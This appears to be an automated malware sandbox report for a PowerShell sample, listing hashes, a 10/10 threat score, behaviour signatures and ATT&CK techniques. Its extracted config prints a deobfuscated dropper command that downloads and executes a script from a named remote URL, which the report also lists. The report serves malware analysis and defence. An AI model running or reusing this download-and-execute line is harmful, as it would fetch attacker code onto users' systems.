8d3888ebbb45b02676e1053d5a63e29ba6632e22b9dea75fd723af912df30d50

General

Target

ca27cad5fabb6436732e360654de381d
Size

69KB
Sample

240315-b4fjtsfe32
MD5

ca27cad5fabb6436732e360654de381d
SHA1

dd941295415447a440941d79a12da8d0fe0e0ef1
SHA256

8d3888ebbb45b02676e1053d5a63e29ba6632e22b9dea75fd723af912df30d50
SHA512

300252dc42522fbcdcc3b028ceb17c6d15c645106bef4d09c31d632dae233fe5c654e4c99319d258d1223284cbf05ddb1ba003fc9343df9a0bfb55dbd13a1b7f
SSDEEP

1536:e36n/uvlUwO9Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/Q:PnYY9Ry98guHVBqqg2bcruzUHmLKeMMe

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

1
invoke-expression (new-object net.webclient).downloadstring("http://smart-integrator.hr/pornhub.php")
2

URLs

ps1.dropper

http://smart-integrator.hr/pornhub.php

Targets

- Target
  
  ca27cad5fabb6436732e360654de381d
- Size
  
  69KB
- MD5
  
  ca27cad5fabb6436732e360654de381d
- SHA1
  
  dd941295415447a440941d79a12da8d0fe0e0ef1
- SHA256
  
  8d3888ebbb45b02676e1053d5a63e29ba6632e22b9dea75fd723af912df30d50
- SHA512
  
  300252dc42522fbcdcc3b028ceb17c6d15c645106bef4d09c31d632dae233fe5c654e4c99319d258d1223284cbf05ddb1ba003fc9343df9a0bfb55dbd13a1b7f
- SSDEEP
  
  1536:e36n/uvlUwO9Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/Q:PnYY9Ry98guHVBqqg2bcruzUHmLKeMMe
Score

10^/10
- Blocklisted process makes network request
- Checks computer location settings
  Looks up country code configured in the registry, likely geofence.
behavioral1 behavioral2

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Tasks

Sharing

General

Malware Config

Extracted

Targets

Blocklisted process makes network request

Checks computer location settings

MITRE ATT&CK Enterprise v15

Tasks

static1

behavioral1

behavioral2

We care about your privacy.